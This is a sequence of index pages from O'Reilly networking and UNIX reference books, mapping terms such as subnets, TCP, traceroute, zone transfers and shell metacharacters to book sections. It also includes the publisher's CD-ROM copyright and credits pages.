.ssh/known_hosts file : 12.2.6. Secure Shell
ssh-keygen : 12.2.6. Secure Shell
stack : (see protocol, stack)
staff limitations : 4.2.2. Defining the Subnet Mask
standard resource records (RRs) : 8.3.2. Standard Resource Records
in named : C.3.1. Standard Resource Records
start of authority : (see SOA records)
startup script
7.3.1.1. Installing static routes at startup
8.3.6.1. Starting named
static
assignment of addresses : 4.2.1.1. Assigning host addresses
circumstances favoring : 4.3. Planning Routing
routing
4.3. Planning Routing
7.1. Common Routing Configurations
12.7.2. Routing control
adding routes : 7.3.1. Adding Static Routes
building tale for : 7.3. Building a Static Routing Table
installing routes at startup : 7.3.1.1. Installing static routes at startup
statements (in gated) : B.9. static Statements
status monitor daemon : 9.1.1. NFS Daemons
store and forward protocols : 3.4.1. Simple Mail Transfer Protocol
stream : 1.3. TCP/IP Protocol Architecture
sockets : 5.4. The Internet Daemon
string values, in printcap parameters : 9.2.1. The printcap File
Structure of Management Information (SMI) : 11.9. Simple Network Management Protocol
stub areas
7.4.3. Open Shortest Path First
B.8.1. The ospf Statement
subdomains
3.3.2. Creating Domains and Subdomains
8.3.5. The Reverse Domain File
subnets
2.3. Subnets
3.3.2. Creating Domains and Subdomains
administration of : 12.1.2.1. Use subnets to distribute control
enterprise : (see enterprise)
for distributing control : 12.1.2.1. Use subnets to distribute control
mask (sm)
2.3. Subnets
4. Getting Started
6.1. The ifconfig Command
assigning
6.1.3. Assigning a Subnet Mask
A.1.1. The dip Script File
defining : 4.2.2. Defining the Subnet Mask
misconfigured : 11.4.1. Troubleshooting with the ifconfig Command
parameter : 9.4. A BOOTP Server
movement among : 3.6.1. Dynamic Host Configuration Protocol
reasons for : 4.2.2. Defining the Subnet Mask
statements, in dhcpd : 9.5.1. dhcpd.conf
subscribing : 13.5. Mailing Lists
subtypes : 3.4.3. Multipurpose Internet Mail Extensions
Sun Microsystems
UNIX Versions
3.3.5. Network Information Service
3.7.1. File Sharing
9.3. Network Information Service
10.6.1. Pattern Matching
NIS+ on : 9.3.2. NIS+
supernetting : 2.2.2. Classless IP Addresses
superuser privileges
8.3.3. The Cache Initialization File
9.3. Network Information Service
B.1. The gated Command
switches
1.7. Application Layer
(see also packet)
asymmetric : 11.4.4. Subdividing an Ethernet
symmetric encryption : 12.6. Encryption
SYN (synchronize sequence numbers) bit : 1.6.2. Transmission Control Protocol
synchronization : 1.6.2. Transmission Control Protocol
synchronize sequence numbers (SYN) bit : 1.6.2. Transmission Control Protocol
synchronous modems : (see modems)
synchronous PPP, support for : 5.3.1.2. Pseudo-device
syslogd
3.2. The Host Table
A.2. The PPP Daemon
A.3. chat
system : (see network)
system file : 5.1. Kernel Configuration
Systems file : 9.2.2. Solaris Line Printer Service

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

tab characters for separating fields : 10.6. Rewriting the Mail Address
tables, adjusting manually : 2.6. Address Resolution
tabular data displays drawn by monitors : 11.9. Simple Network Management Protocol
tc parameter : 9.4. A BOOTP Server
TCP (Transport Control Protocol)
1.6. Transport Layer
1.6.2. Transmission Control Protocol
1.7. Application Layer
(see also tcpd)
segment header : F.2. TCP Segment Header
TCP/IP protocol
architecture : 1.3. TCP/IP Protocol Architecture
benefits of
1. Overview of TCP/IP
1.1.1. TCP/IP Features
1.4. Network Access Layer
2.2.1. Address Classes
in corporate intranets : Preface
defined
1. Overview of TCP/IP
1.2. A Data Communications Model
history of : 1.1. TCP/IP and the Internet
need for basic understanding of : 11.1. Approaching a Problem
over a serial line : 6.2. TCP/IP Over a Serial Line
selected headers : F. Selected TCP/IP Headers
standardizing on : 4.5.3. Planning Your Mail System
tcpd (wrapper daemon) : 12.5.1. wrapper
access control files : 12.5.1.1. tcpd access control files
tcpdump : 11.2. Diagnostic Tools
telephone lines, leased : 11.4.4.1. Network hardware problems
telnet
2.7.3. Sockets
5.3.1.2. Pseudo-device
13.3.1. archie
test
9.7.1. POP Server
11.4.2. Troubleshooting with the arp Command
telnet protocol : 1.7. Application Layer
TempFileMode option : 10.5.4. The Set Option Command
terminology, importance of using standard
1.2. A Data Communications Model
1.3. TCP/IP Protocol Architecture
text (TXT) resource records : C.3.1.9. Text record
text data content type : 3.4.3. Multipurpose Internet Mail Extensions
TFTP protocol
5.4. The Internet Daemon
9.6. Managing Distributed Servers
target for intruders : C.3.1.8. Well-Known Services record
threat, assessing : 12.1.1. Assessing the Threat
thresholds triggering alarms : 11.9. Simple Network Management Protocol
tiff image subtype : 3.4.3. Multipurpose Internet Mail Extensions
Time Exceeded message : 11.5.2. Tracing Routes
time-to-live (ttl) values
8.3.2. Standard Resource Records
11.5.2. Tracing Routes
B.8.5. The bgp Statement
C.3.1. Standard Resource Records
TIMEOUT keyword : A.3. chat
types, listed : E.4.2. sendmail Options
Timeout.queuereturn option : 10.5.4. The Set Option Command
timestamping : B.4. Trace Statements
timing-out
1.6.2. Transmission Control Protocol
5.2. Linux Kernel Configuration
addresses : (see addresses)
in Solaris : 6.3.6. Solaris PPP
in wait command : 6.3.2. Dial-Up PPP
token ring : 4.2.2. Defining the Subnet Mask
interface : 5.2. Linux Kernel Configuration
network : 1.5.1.2. Routing datagrams
tokens : 10.6.1. Pattern Matching
tools
1.7. Application Layer
(see also diagnostic tools)
hand : 11.2. Diagnostic Tools
top-level domains : 3.3.1. The Domain Hierarchy
topology statements (in dhcpd) : D.3.1. Topology Statements
trace
file : 7.7.2. Testing the Configuration
options : B.4. Trace Statements
statements (in gated)
B.4. Trace Statements
B.8.6. The egp Statement
traceroute
11.2. Diagnostic Tools
11.3. Testing Basic Connectivity
11.5. Checking Routing
11.5.2. Tracing Routes
tracking number : 4.4.1. Obtaining a Domain Name
traffic load, reducing : 11.4.3. Checking the Interface with netstat
trailer encapsulation
6.1.2. Checking the Interface with ifconfig
6.1.5.2. ARP and trailers
training
for security : 12.2.2. Choosing a Password
importance of : 11.1.1. Troubleshooting Hints
transmission window size : 5.2. Linux Kernel Configuration
Transport Control Protocol : (see TCP)
Transport Layer
1.2. A Data Communications Model
1.6. Transport Layer
passing datagrams : 1.5.1.4. Passing datagrams to the transport layer
triggered updates : 7.4.1.1. Running RIP with routed
Tripwire : 12.4.2.1. Checking files
trouble, looking for : 12.4.2. Looking for Trouble
troubleshooting
basic connectivity : 11.3. Testing Basic Connectivity
hints : 11.1.1. Troubleshooting Hints
buying time : 11.4.2. Troubleshooting with the arp Command
involve users : 11.4.2.1. ARP problem case study
name service : 11.6. Checking Name Service
network access
1.7. Application Layer
11.4. Troubleshooting Network Access
(see also network)
not overlooking the obvious : 11.1.1. Troubleshooting Hints
preventing problems : 11.9. Simple Network Management Protocol
protocol problems : 11.7. Analyzing Protocol Problems
routing : 11.5. Checking Routing
serial connections : 6.4.4. Troubleshooting Serial Connections
trust : 12. Network Security
trusted host : 12.2.5. Secure the r Commands
security : 9.1.5. NFS Authentication Server
/try command : 10.8.1. Testing Rewrite Rules
/tryflags command : 10.8.1. Testing Rewrite Rules
ttl : (see time-to-live (ttl) values)
tty devices
6.3.5. PPP Server Configuration
6.4.4. Troubleshooting Serial Connections
tunneling : 5.3.1.2. Pseudo-device
TXT resource records : C.3.1.9. Text record

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

U.S. Naval Research Laboratory (NRL) : 12.2.4. OPIE
uid (user id) : 5.4. The Internet Daemon
umount command : 9.1.3.1. The mount command
unauthenticated users : 9.1.5. NFS Authentication Server
unexpected, dealing with the : 11. Troubleshooting TCP/IP
unicast : 2.2.2.1. Final notes on IP addresses
unicast addresses : (see addresses)
universal resource locators (URLs) : 13.1. The World Wide Web
UNIX : 1. Overview of TCP/IP
computers : Audience
kernels : 4.2.2. Defining the Subnet Mask
services : 2.7.2. Port Numbers
systems
Foreword from the First Edition
3.3.4. BIND, resolver, and named
7.4.1. Routing Information Protocol
7.5.3. Choosing a Routing Protocol
installation scripts for : 6.1.1. Determining the Interface Name
vendor, for security information : 12.1.2.2. Use mailing lists to distribute information
versions of
3.2. The Host Table
6.1. The ifconfig Command
UNIX commands
ability to use : 9.1. The Network File System
r-commands
9.6. Managing Distributed Servers
12.2.5. Secure the r Commands
disabling : 12.2.6. Secure Shell
tar : 9.7.1. POP Server
untar : 9.7.2. IMAP Server
unknown host error message
11.3. Testing Basic Connectivity
11.6. Checking Name Service
unreachable destinations, detecting : 1.5.2. Internet Control Message Protocol
Unreachable Port message : 11.5.2. Tracing Routes
unused accounts
removing from system : 12.2.2. Choosing a Password
security problems with : 12.2.1. The Shadow Password File
UPDATE messages : 7.5.2. Border Gateway Protocol
updating : 7.5.1. Exterior Gateway Protocol
URLs (universal resource locators) : 13.1. The World Wide Web
Usenet news : E.3.5. MAILER
user authentication
9.3.2. NIS+
12.2. User Authentication
User Datagram Protocol (UDP)
1.2. A Data Communications Model
1.3. TCP/IP Protocol Architecture
1.6. Transport Layer
checksum errors in : 5.3.1.1. Options
user security responsibilities : 12.1.3. Writing a Security Policy
/usr directory
/usr/adm/messages file, in security checks : 12.4.2.2. Checking login activity
/usr/etc/bootpd file : 9.6.1. rdist
/usr/sbin/imapd file : 9.7.2. IMAP Server
/usr/src/linux source directory : 5.2. Linux Kernel Configuration
/usr/src/sys/i386/conf directory : 5.3. The BSD Kernel Configuration File
/usr/tmp/gated_dump file : B.1.1. Signal Processing
USRX command, in ESMTP : 3.4.3. Multipurpose Internet Mail Extensions
UUCP protocol
3.4.1. Simple Mail Transfer Protocol
10.5.8. Defining Mailers
bang syntax : 10.7.1. Modifying Local Information
uucp service : 5.4. The Internet Daemon
system connected with : 10.5.3. The Define Class Command
UUCP sites, serving
E.3. m4 sendmail Macros
E.3.5. MAILER
UUCP-style lock files
6.3.4. PPP Daemon Security
A.2. The PPP Daemon

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

V.35 : 1.2. A Data Communications Model
Van Jacobson header compression
5.2. Linux Kernel Configuration
6.4.1. slattach
disabling : A.2. The PPP Daemon
/var/run/dhcpd.pid file : D.2. The dhcpd Command
/var/spool/mqueue temporary files : 10.5.4. The Set Option Command
variable-length subnet masks (VLSMs) : 4.2.2. Defining the Subnet Mask
Vendor Extensions field, in BOOTP : 3.6.1. Dynamic Host Configuration Protocol
vendor-neutral language : 11.9. Simple Network Management Protocol
vendor-specific syntax : 10.5.1. The Version Level Command
VERB command, in ESMTP : 3.4.3. Multipurpose Internet Mail Extensions
verbose mode
6.4.4. Troubleshooting Serial Connections
A.1. Dial-Up IP
A.3. chat
VERSIONID macro : 10.4.1.1. Building a sendmail.cf with m4 macros
video content type : 3.4.3. Multipurpose Internet Mail Extensions
view command
8.4. Using nslookup
11.6. Checking Name Service
virtual
links : B.8.1. The ospf Statement
terminal devices : 5.3.1.2. Pseudo-device
VIRUS-L list : 12.1.2.2. Use mailing lists to distribute information
voice-message multipart subtype : 3.4.3. Multipurpose Internet Mail Extensions
voltage levels : 1.2. A Data Communications Model
VRFY command, in SMTP : 3.4.1. Simple Mail Transfer Protocol

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

wait ogin> command : 6.3.2. Dial-Up PPP
wait-status : 5.4. The Internet Daemon
Web pages, delivering : 1.7. Application Layer
well-known ports
2.7.3. Sockets
3.6. Bootstrap Protocol
auto-sensing : 11.4.4. Subdividing an Ethernet
dedicated : 11.4.4. Subdividing an Ethernet
Well-Known Services (WKS) resource records
2.7. Protocols, Ports, and Sockets
C.3.1.8. Well-Known Services record
white pages : 13.6. The White Pages
who command : 12.4.1. Know Your System
whois command
4.4.1. Obtaining a Domain Name
13.6. The White Pages
wide area networks (WANs)
3.7.1. File Sharing
6.2. TCP/IP Over a Serial Line
11.3.1. The ping Command
11.4.4.1. Network hardware problems
window : 1.6.2. Transmission Control Protocol
WKS resource records
2.7. Protocols, Ports, and Sockets
C.3.1.8. Well-Known Services record
world permissions : 9.1.5. NFS Authentication Server
World Wide Web : 13.1. The World Wide Web
world-readable file : 12.2.1. The Shadow Password File
wrapper : 12.5.1. wrapper
tcpd : 5.4. The Internet Daemon
wtmp file, in security checks : 12.4.2.2. Checking login activity
www.fugue.com/dhcp : D.1. Compiling dhcpd
www.internic.net : 13.4. Retrieving RFCs

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

x-token encoding type : 3.4.3. Multipurpose Internet Mail Extensions
X.400 protocol : 3.4.1. Simple Mail Transfer Protocol
XDR : 1.2. A Data Communications Model
xinetd software : 12.5. Access Control

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

yp.conf file : 9.3. Network Information Service
ypbind : 9.3. Network Information Service
ypcat : 9.3. Network Information Service
-x command : 9.3. Network Information Service
ypmatch : 9.3. Network Information Service
ypserv : 9.3. Network Information Service
ypwhich : 9.3. Network Information Service

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

zone : 8.1. BIND: UNIX Name Service
files : 8.1.1. BIND Configurations
in named : C.3. Zone File Records
transfer
3.3.4. BIND, resolver, and named
8.1.1. BIND Configurations
8.3.1.2. Primary and secondary server configurations
8.4. Using nslookup

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


O'Reilly Copyright Statement

The electronic versions of UNIX Power Tools, UNIX in a Nutshell, Learning the vi Editor, sed & awk, Learning the Korn Shell, and Learning the UNIX Operating System are copyright © 1998 by O'Reilly & Associates, Inc.; all rights reserved. Articles by Bruce Barnett are copyrighted by General Electric Corp. and are used by permission.

This CD-ROM is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this reference library available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this book without the explicit written permission of O'Reilly & Associates, Inc. If you would like to discuss licensing for multiple users, contact service@oreilly.com.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. (see http://www.oreilly.com/order/) or from bookstores that carry O'Reilly & Associates books.

Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc., was aware of the trademark claim, the designations have been printed in caps or initial caps. Power Tools is a registered trademark of Random House, Inc.; used by permission.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

The UNIX CD Bookshelf Navigation The UNIX CD Bookshelf UNIX Power Tools UNIX in a Nutshell Learning the vi Editor sed & awk Learning the Korn Shell Learning the UNIX Operating System

This product is printed with 100% recycled electrons.


The UNIX CD Bookshelf

Credits

The Books

UNIX Power Tools
By Jerry Peek, Tim O'Reilly & Mike Loukides
1-56592-260-3, 1120 pages
Second Edition, August 1997

UNIX in a Nutshell: System V Edition
By Daniel Gilly & the Staff of O'Reilly & Associates
1-56592-001-5, 444 pages
Second Edition, June 1992

Learning the vi Editor
By Linda Lamb
0-937175-67-6, 192 pages
Fifth Edition, October 1990

sed & awk
By Dale Dougherty & Arnold Robbins
1-56592-225-5, 432 pages
Second Edition, March 1997

Learning the Korn Shell
By Bill Rosenblatt
1-56592-054-6, 363 pages
First Edition, June 1993

Learning the UNIX Operating System
By Jerry Peek, Grace Todino & John Strang
1-56592-390-1, 106 pages
Fourth Edition, December 1997

The UNIX CD Bookshelf

Product Manager
Linda Walsh
Production Editors
Nicole Arigo and Ellie Cutler
Technical Development
Christopher Maden, with Jessica Perry Hekman and Norman Walsh
Creative Director
Edie Freedman
Tools
Christopher Maden, Lenny Muellner, and Donald Ohl
Index
Seth Maislin, with Gerry Azzata and Joel Berson
CD-ROM Search Engine
Innotech

The UNIX CD Bookshelf Navigation The UNIX CD Bookshelf UNIX Power Tools UNIX in a Nutshell Learning the vi Editor sed & awk Learning the Korn Shell Learning the UNIX Operating System


The UNIX CD Bookshelf

Combined Index
Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

The UNIX CD Bookshelf Navigation UNIX Power Tools UNIX in a Nutshell Learning the vi Editor sed & awk Learning the Korn Shell Learning the UNIX Operating System

The UNIX CD Bookshelf, version 1.0, is copyright © 1998 by O'Reilly & Associates. All rights reserved.
Questions, comments, and suggestions to bookquestions@ora.com.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

0 (zero) process ID : UNIX Power Tools, 38.12. Killing All Your Processes
-1 process ID : UNIX Power Tools, 38.12. Killing All Your Processes
8-bit filenames : UNIX Power Tools, 23.15. Using unlink to Remove a File with a Strange Name
80cols file
UNIX Power Tools, 42.6.1. Single Line Screen Width: 80cols
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
9-track tapes : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
& (ampersand)
&& operator
UNIX Power Tools, 11.9. Running a Series of Commands on a File
UNIX Power Tools, 44.9. Testing Your Success
UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
UNIX Power Tools, 48.4.3. Automating Your Own Calendar
sed & awk, 7.8. Relational and Boolean Operators
&= operator : UNIX Power Tools, 47.4.3.1. Assignment Operators
for background processes
Learning the UNIX Operating System, 6.1. Running a Command in the Background
UNIX Power Tools, 1.27. How Background Processing Works
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
(see also background processes/jobs)
C shell operator : UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
for condition tests
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 7.2.2.3. Code blocks
Learning the Korn Shell, A.1. The Bourne Shell
escaping special characters using : UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
ex command : UNIX in a Nutshell, Chapter 9, Reference: &
for exit statuses
Learning the Korn Shell, 5.1.2. Combinations of Exit Statuses
Learning the Korn Shell, 5.5. while and until
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
logical operator for expr : UNIX Power Tools, 45.28. Quick Reference: expr
precedence in C shell : UNIX Power Tools, 47.4.2. Expressions
in replacement text
sed & awk, 5.3. Substitution
sed & awk, 5.3.1. Replacement Metacharacters
* (asterisk)
Learning the UNIX Operating System, 4.3. File and Directory Wildcards
Learning the UNIX Operating System, 4.4.5.1. rm
** (exponentiation) operator : sed & awk, 7.6. Expressions
**= (assignment) operator : sed & awk, 7.6. Expressions
*= (assignment) operator
UNIX Power Tools, 47.4.3.1. Assignment Operators
sed & awk, 7.6. Expressions
accessing entire array : Learning the Korn Shell, 6.3. Arrays
built-in variable
Learning the Korn Shell, 4.2.1. Positional Parameters
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 5.3. case
Learning the Korn Shell, 5.4. select
examples : UNIX Power Tools, 50.6. Searching Online Manual Pages
metacharacter (regular expression operator)
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
Learning the Korn Shell, 9.2.3.3. Breakpoints
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
Learning the UNIX Operating System, 4.3. File and Directory Wildcards
Learning the UNIX Operating System, 4.4.5.1. rm
UNIX Power Tools, 1.16. Wildcards
UNIX Power Tools, 15.2. Filename Wildcards in a Nutshell
UNIX Power Tools, 26.3. Understanding Expressions
UNIX Power Tools, 26.4.6. Repeating Character Sets with *
sed & awk, 3.1. That's an Expression
sed & awk, 3.2.5. Repeated Occurrences of a Character
multiplication operator
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 47.4.3.2. Arithmetic Operators
sed & awk, 7.6. Expressions
in pcal : UNIX Power Tools, 48.9. PostScript Calendars with pcal
precedence in C shell : UNIX Power Tools, 47.4.2. Expressions
@ (at sign) : UNIX Power Tools, 9.5. Build Strings with { }
built-in variable : Learning the Korn Shell, 4.2.1. Positional Parameters
csh command : UNIX in a Nutshell, Chapter 5, Reference: @
preserving whitespace : Learning the Korn Shell, 6.3. Arrays
regular expression operator
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
Learning the Korn Shell, 9.2.3.3. Breakpoints
@ commands (csh)
UNIX Power Tools, 47.4.2. Expressions
UNIX Power Tools, 47.4.4. Examples
@-functions (vi) : UNIX Power Tools, 31.4. vi @-Functions
\ (backslash)
sed & awk, 7.6. Expressions
(see also escape sequences, awk)
\{ \} metacharacters : UNIX Power Tools, 26.4.7. Matching a Specific Number of Sets with \ { and \ }
\<, \> escape sequences
UNIX Power Tools, 26.4.8. Matching Words with \ < and \ >
sed & awk, 3.2.11. What's the Word? Part II
sed & awk, 11.2.3.4. Extended regular expressions
\( \) metacharacters : UNIX Power Tools, 26.4.9. Remembering Patterns with \ (, \ ), and \1
\`, \' escape sequences : sed & awk, 11.2.3.4. Extended regular expressions
\1, \2, ... metacharacters : UNIX Power Tools, 26.4.9. Remembering Patterns with \ (, \ ), and \1
continuation characters
Learning the Korn Shell, 1.9.4. Continuing Lines
UNIX Power Tools, 8.14.4. Multiline Quoting
UNIX Power Tools, 8.15.2. How Quoting Works
UNIX Power Tools, 9.13. Multiline Commands, Secondary Prompts
in C shell scripts : UNIX Power Tools, 44.14. Putting awk, sed, etc., Inside Shell Scripts
character classes and : sed & awk, 3.2.4. Character Classes
escaping special characters
Learning the Korn Shell, 1.9.2. Backslash-escaping
UNIX Power Tools, 8.6.1. Portability
UNIX Power Tools, 10.3. C Shell Aliases with Command-Line Arguments
as metacharacter
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.1. The Ubiquitous Backslash
placement of : UNIX Power Tools, 8.20. How Many Backslashes?
preventing history substitution : UNIX Power Tools, 8.5. Command-Line Evaluation
in prompt settings : UNIX Power Tools, 7.12. External Commands Send Signals to Set Variables
quoting and
Learning the Korn Shell, 1.9.3. Quoting Quotation Marks
UNIX Power Tools, 8.14.2. How Quoting Works
in replacement text
sed & awk, 5.3. Substitution
sed & awk, 5.3.1. Replacement Metacharacters
in stty command : UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
` (backquotes)
command substitution
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 9.16. Command Substitution
obsolescence in next release : Learning the Korn Shell, A.7. The Future of the Korn Shell
examples
UNIX Power Tools, 44.18. Standard Command-Line Parsing
UNIX Power Tools, 50.3. apropos on Systems Without apropos
for loops combined with : UNIX Power Tools, 45.16. Standard Input to a for Loop
nesting : UNIX Power Tools, 45.31. Nested Command Substitution
weak quotes : Learning the Korn Shell, 1.9.1. Quoting
! (bang) : sed & awk, 4.2. A Global Perspective on Addressing
!\* : UNIX Power Tools, 50.8. Which Version Am I Using?
!* variable : UNIX Power Tools, 10.3. C Shell Aliases with Command-Line Arguments
!: script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
!= relational operator
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 47.4.3.4. Comparison Operators
sed & awk, 7.8. Relational and Boolean Operators
!~ (does not match) operator
sed & awk, 7.5.1. Referencing and Separating Fields
sed & awk, 7.8. Relational and Boolean Operators
automatic temporary files : UNIX Power Tools, 9.18.2. Automatic Temporary Files with !
with brackets wildcards : UNIX Power Tools, 15.2. Filename Wildcards in a Nutshell
branch command versus : sed & awk, 6.4.1. Branching
built-in variable : Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
C shell quoting : UNIX Power Tools, 8.15.2. How Quoting Works
csh and : sed & awk, 1.4. Four Hurdles to Mastering sed and awk
ex command : UNIX in a Nutshell, Chapter 9, Reference: !
history substitution commands : UNIX Power Tools, 11.7. History Substitutions
!:n* sequence
UNIX Power Tools, 11.4. My Favorite Is !:n*
UNIX Power Tools, 11.7. History Substitutions
!$ sequence
UNIX Power Tools, 10.3. C Shell Aliases with Command-Line Arguments
UNIX Power Tools, 11.3. My Favorite Is !$
UNIX Power Tools, 11.6. Using !$ for Safety with Wildcards
UNIX Power Tools, 11.7. History Substitutions
keyword in next Korn release : Learning the Korn Shell, A.7. The Future of the Korn Shell
NOT (negation) operator
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.6. Be an Expert on find Search Operators
UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
sed & awk, 7.8. Relational and Boolean Operators
pattern addressing
sed & awk, 4.2. A Global Perspective on Addressing
sed & awk, A.2.1. Pattern Addressing
POSIX shell keyword : Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
preceding operators : UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
regular expression operator
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
terms for : UNIX Power Tools, 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
test command using : UNIX Power Tools, 44.20. test: Testing Files and Strings
tilde (~) operator : sed & awk, 7.5.1. Referencing and Separating Fields
{ } (braces) : sed & awk, A.2.1. Pattern Addressing
\{ \} metacharacters
UNIX Power Tools, 26.4.7. Matching a Specific Number of Sets with \ { and \ }
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.8. A Span of Characters
{ cmd } C shell operator : UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
/{ /} metacharacters : UNIX Power Tools, 26.4.11. Extended Regular Expressions
in awk
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 2.4.1. Running awk
sed & awk, 8.1. Conditional Statements
Bourne shell list operators : UNIX Power Tools, 13.8. Using {list} to Group Bourne Shell Commands
building strings : UNIX Power Tools, 9.5. Build Strings with { }
in C shell : UNIX Power Tools, 47.4.1. Variables
creating new files with : UNIX Power Tools, 1.16. Wildcards
filename wildcards
UNIX Power Tools, 15.2. Filename Wildcards in a Nutshell
UNIX Power Tools, 15.3. Adding { } Operators to Korn (and Bourne) Shells
find -exec command and : UNIX Power Tools, 17.10. Running Commands on What You Find
finding matching : Learning the vi Editor, 7.5.2. A Special Search Command
foreach loop and : UNIX Power Tools, 9.11. Repeating a Command with a foreach Loop
grouping sed commands in
sed & awk, 4.2.1. Grouping Commands
sed & awk, 5.1. About the Syntax of sed Commands
matching : Learning the vi Editor, 7.5.2. A Special Search Command
in shells : UNIX Power Tools, 1.18. Who Handles Wildcards?
with variable names : UNIX Power Tools, 6.8. Shell Variables
[ ] (brackets) metacharacters
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.4. Character Classes
(see also condition tests, old syntax)
[ at start of escape sequence : UNIX Power Tools, 5.8. Terminal Escape Sequences
[ command
UNIX Power Tools, 44.20. test: Testing Files and Strings
UNIX Power Tools, 46.4. Stop Syntax Errors in Numeric Tests
UNIX Power Tools, 46.5. Stop Syntax Errors in String Tests
[[ ]] command
UNIX in a Nutshell, Chapter 4, Reference: [[ ]]
(see also condition tests)
[::] metacharacters : sed & awk, 3.2.4.3. POSIX character class additions
[..] metacharacters : sed & awk, 3.2.4.3. POSIX character class additions
[==] metacharacters : sed & awk, 3.2.4.3. POSIX character class additions
fast find and : UNIX Power Tools, 17.18. Using "Fast find"
filename wildcards
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
Learning the UNIX Operating System, 4.3. File and Directory Wildcards
UNIX Power Tools, 9.4. Use Wildcards to Create Files?
UNIX Power Tools, 15.2. Filename Wildcards in a Nutshell
UNIX Power Tools, 26.4.4. Specifying a Range of Characters with [...]
sc program using : UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
^ (caret)
^[ : (see CTRL key)
^^ sequence
UNIX Power Tools, 11.5. My Favorite Is ^^
UNIX Power Tools, 11.7. History Substitutions
